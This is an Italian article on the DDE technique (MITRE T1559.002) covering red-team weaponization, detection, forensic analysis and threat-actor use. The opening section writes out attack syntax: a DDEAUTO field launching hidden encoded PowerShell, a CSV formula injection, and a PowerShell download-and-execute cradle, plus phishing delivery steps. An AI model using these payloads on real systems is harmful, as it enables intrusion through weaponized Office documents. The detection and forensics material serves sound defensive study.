Scambio Dati Dinamico: Dynamic Data Exchange (T1559.002)

Un esercizio red team su DDE parte dalla generazione di un documento Office armato. La sintassi classica sfrutta un campo Word contenente formule come DDEAUTO c:\windows\system32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden -Enc ". Il campo si crea manualmente con la combinazione Ctrl+F9 in Word, inserendo la formula tra le parentesi graffe e commutando la visualizzazione con Alt+F9.

Per l'automazione della fase di weaponization, i framework di riferimento sono:

• Nishang (open source) — contiene script PowerShell per payload delivery post-DDE
• Empire (open source, community fork su GitHub) — moduli stager compatibili con esecuzione DDE
• Metasploit Framework (open source / freemium Pro) — modulo exploit/windows/fileformat/office_dde_delivery per generare documenti armati
• Unicorn di TrustedSec (open source) — genera payload PowerShell offuscati adatti a essere invocati via DDE

Su CSV il vettore assume la forma di formula injection: una cella contenente =cmd|'/c calc'!A1 eseguita da Excel invoca la calcolatrice come proof-of-concept. Il payload reale utilizza tipicamente un comando powershell.exe -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('')" — nel lab sostituire con endpoint controllati.

La catena tipica in un engagement segue tre passaggi. Primo, ricognizione della versione Office target: se sono presenti le patch post-2017 di Microsoft, DDE è disabilitato di default nelle chiavi di registro HKCU\Software\Microsoft\Office\\Word\Security (valore DisableDDEServerLaunch). Secondo, delivery via phishing con pretesto contestuale — FIN7 storicamente utilizzava fatture e ordini fittizi, APT28 documenti a tema geopolitico. Terzo, esecuzione della catena post-exploitation: staging di beacon Cobalt Strike o Sliver, escalation, movimento laterale.

Un vettore avanzato è l'invocazione remota di DDE tramite DCOM, sfruttando l'oggetto Excel.Application su host remoti dove l'operatore ha credenziali valide. Impacket (open source) offre lo script dcomexec.py per l'automazione di esecuzione DCOM, utile anche in scenari dove il modulo Excel viene abusato per triggerare DDE su macchine su cui non si ha shell diretta.

In scenari OLE puri, i gruppi BITTER e Sidewinder hanno abusato di Microsoft Equation Editor (EQNEDT32.EXE) come vettore correlato — il binario è vulnerabile a CVE-2017-11882 e va incluso nella matrice di test se si emula tali attori.

La detection di T1559.002 ruota attorno a un principio semplice: le applicazioni Office non dovrebbero mai generare processi figli come cmd.exe, powershell.exe, wscript.exe, cscript.exe o mshta.exe. Qualsiasi violazione di questa regola è un segnale ad alta priorità.

La telemetria essenziale proviene da Sysmon (open source), in particolare EventID 1 (Process Creation) e EventID 7 (Image Loaded). La regola base intercetta relazioni parent-child anomale: ParentImage contenente WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE o OUTLOOK.EXE con Image pari a interpreti di comando. Il Windows Security log (EventID 4688 con command line auditing attivo) fornisce copertura equivalente in ambienti dove Sysmon non è deployato.

Gli indicatori chiave da monitorare:

• Processi figli Office che eseguono interpreti (cmd.exe, powershell.exe, wscript.exe, cscript.exe, rundll32.exe, regsvr32.exe, mshta.exe)
• Command line contenenti pattern DDE tipici: stringhe con DDEAUTO, invocazioni con flag -EncodedCommand, download cradle (DownloadString, IEX, Invoke-Expression)
• Caricamento di DLL non standard in processi Office (EventID 7 Sysmon)
• Modifiche alle chiavi di registro HKCU\Software\Microsoft\Office\\\Security\DisableDDEServerLaunch o DisableDDEServerLookup (valore impostato a 0)
• Connessioni di rete originate direttamente da WINWORD.EXE o EXCEL.EXE verso IP esterni

Sul fronte preventivo, le Attack Surface Reduction (ASR) rules di Microsoft Defender sono il controllo più efficace. La regola D4F940AB-401B-4EFC-AADC-AD5F3C50688A blocca la creazione di processi figli da applicazioni Office. In parallelo, Protected View deve essere obbligatorio per documenti provenienti da Internet e allegati email, configurabile via GPO nel percorso User Configuration > Administrative Templates > Microsoft Office.

I falsi positivi principali derivano da automazioni legittime: script di build che generano report Office, template aziendali con macro firmate, integrazioni SAP o CRM che pilotano Excel via automation. La tuning richiede una allowlist di coppie parent-child autorizzate — ad esempio processi Office spawnati da scheduler applicativi specifici — e una finestra temporale di correlazione tra creazione del processo Office e successiva esecuzione dell'interprete, tipicamente sotto i 30 secondi per essere sospetta.

Regole Sigma pubbliche come proc_creation_win_office_shell e proc_creation_win_susp_office_dde forniscono baseline già validate; la loro integrazione in piattaforme SIEM come Splunk (a pagamento), Elastic Security (freemium) o Microsoft Sentinel (a pagamento) è raccomandata come partenza. Correlare inoltre con alert email gateway su allegati Office contenenti campi DDE — molte soluzioni di sandboxing email (freemium/a pagamento) rilevano automaticamente formule sospette.

L'analisi forense di un incidente T1559.002 richiede la ricostruzione di tre livelli: il documento vettore, l'esecuzione sul sistema e la persistenza eventuale.

Sul documento sospetto, il tool di riferimento è oletools di Philippe Lagadec (open source), in particolare olevba per estrarre e analizzare campi Word e macro embedded, e oleid per profilare rapidamente il file. Il comando olevba --deobf documento.docx mostra formule DDE, DDEAUTO e stringhe offuscate. Per file OLE binari (.doc, .xls legacy) oledump.py di Didier Stevens (open source) enumera gli stream interni e permette di isolare payload embedded. Documenti OOXML (.docx, .xlsx) sono archivi ZIP: l'ispezione manuale di word/document.xml rivela tag <w:fldChar> e <w:instrText> contenenti la formula DDE.

Sull'endpoint compromesso, la timeline si costruisce a partire da:

• Prefetch files in C:\Windows\Prefetch\ per WINWORD.EXE, EXCEL.EXE e gli interpreti spawnati — analizzabili con PECmd di Eric Zimmerman (open source)
• ShimCache e AmCache (C:\Windows\AppCompat\Programs\Amcache.hve) per evidenza di esecuzione binari inusuali post-apertura documento
• Office MRU in HKCU\Software\Microsoft\Office\\\File MRU per confermare l'apertura del documento vettore
• TrustRecords in HKCU\Software\Microsoft\Office\\\Security\Trusted Documents\TrustRecords — un valore che indica l'utente ha cliccato "Enable Content", elemento cruciale per attribuzione dell'azione utente
• Sysmon event log (Microsoft-Windows-Sysmon/Operational) filtrando per ProcessGuid dell'istanza Office incriminata, ricostruendo l'intera catena di processi figli
• PowerShell operational log (Microsoft-Windows-PowerShell/Operational, EventID 4104) per script block logging del payload eseguito

Le copie temporanee di Office (~$documento.docx, file in %APPDATA%\Microsoft\Office\UnsavedFiles e %LOCALAPPDATA%\Microsoft\Office\\OfficeFileCache) possono contenere frammenti del documento originale anche dopo eliminazione.

Per artefatti di rete, i log del proxy aziendale e le connessioni registrate da Sysmon EventID 3 correlate al ProcessGuid dell'interprete spawnato identificano gli indicatori C2. La campagna Operation Sharpshooter ha mostrato pattern in cui documenti OLE contattavano server di staging per download di payload secondari, tracciabili tramite correlazione temporale stretta tra apertura documento e prima connessione uscente.

Strumenti come KAPE di Eric Zimmerman (gratuito per uso non commerciale) automatizzano la collezione mirata di questi artefatti tramite target dedicati a Office forensics. Autopsy (open source) e Velociraptor (open source) supportano hunt scalabili su parco macchine per identificare TrustRecords sospetti o Prefetch anomali distribuiti nell'infrastruttura.

L'adozione di T1559.002 attraversa geografie e motivazioni eterogenee, con un cluster particolarmente denso tra attori sponsorizzati da stati e crimine finanziario di alto profilo.

APT28 (Fancy Bear, attribuito al GRU russo) rappresenta il caso più visibile: il gruppo ha veicolato JHUHUGIT e Koadic tramite comandi PowerShell invocati da campi DDE in documenti Word, prevalentemente contro target governativi, difesa e media occidentali. La firma tecnica è coerente con la loro predilezione per catene di infezione che minimizzano l'uso di macro VBA, tracciate spesso in campagne anti-NATO.

FIN7, gruppo cybercriminale focalizzato sul settore hospitality e retail statunitense, ha integrato documenti Word con DDE nelle proprie campagne di spear phishing, tipicamente con pretesti di fatture o ordini d'acquisto. L'obiettivo finale — furto di dati carta di credito tramite malware Carbanak-derivato — dimostra come la tecnica sia efficace anche in contesti puramente finanziari.

TA505, altro attore criminale ad alto volume noto per campagne Dridex, Locky e successivamente Clop ransomware, ha utilizzato documenti Word con abuso DDE nelle fasi di initial access delle proprie operazioni globali. Il pattern conferma DDE come vettore "commodity" tra threat actor finanziariamente motivati.

Nel cluster asiatico, APT37 (attribuito alla Corea del Nord, focus su Corea del Sud e dissidenti) ha sfruttato DDE per eseguire comandi e VBS malevoli, mentre Patchwork (attore allineato indiano attivo contro target pakistani e cinesi) e Sidewinder (stessa area geografica, focus su target militari sud-asiatici) hanno integrato DDE e OLE nelle rispettive catene. BITTER, altro gruppo attivo nel subcontinente indiano, combina DDE con exploit di Equation Editor per drop payload — un pattern tecnico condiviso con HAWKBALL (malware documentato).

Sul fronte iraniano, MuddyWater ha impiegato malware capace di eseguire script PowerShell via DDE, allineato con la loro predilezione documentata per living-off-the-land binaries. POWERSTATS, malware attribuito allo stesso ecosistema, incorpora funzionalità DDE per esecuzione di payload aggiuntivi.

La Operation Sharpshooter (settembre 2017 – marzo 2019) rappresenta il case study di riferimento: campagna globale contro settori nucleare, difesa, governo, energia e finanza in Germania, Turchia, Regno Unito e Stati Uniti, con documenti OLE malevoli come vettore. I ricercatori hanno rilevato sovrapposizioni tecniche con Lazarus Group, incluse le tipiche esche di finti recruiter e riuso di codice malware.

Il tool overlap tra gruppi è significativo: GravityRAT, PoetRAT, KeyBoy, Ramsay e Valak condividono l'uso di documenti Office con DDE/OLE come dropper, indicando un ecosistema di builder e servizi commerciali che facilita l'accesso alla tecnica anche ad attori meno sofisticati. Il trend, nonostante le mitigazioni Microsoft del 2017-2018, mostra persistenza soprattutto in ambienti dove il patching Office è ritardato o le ASR rules non sono deployate.

MITRE ATT&CK T1559.002 (Dynamic Data Exchange), tattica TA0002. Gruppi G0007, G0040, G0046, G0065, G0067, G0069, G0080, G0084, G0092, G0121, G1002. Software S0148, S0223, S0237, S0387, S0391, S0428, S0458, S0476. Campagna C0013 (Operation Sharpshooter). Mitigazioni M1040, M1042, M1048, M1054. Detection DET0504/AN1393. MITRE D3FEND per mappatura difensiva. Conoscenza professionale utilizzata per sintassi comandi, tool forensi (oletools, oledump, KAPE, PECmd) e regole Sigma pubbliche.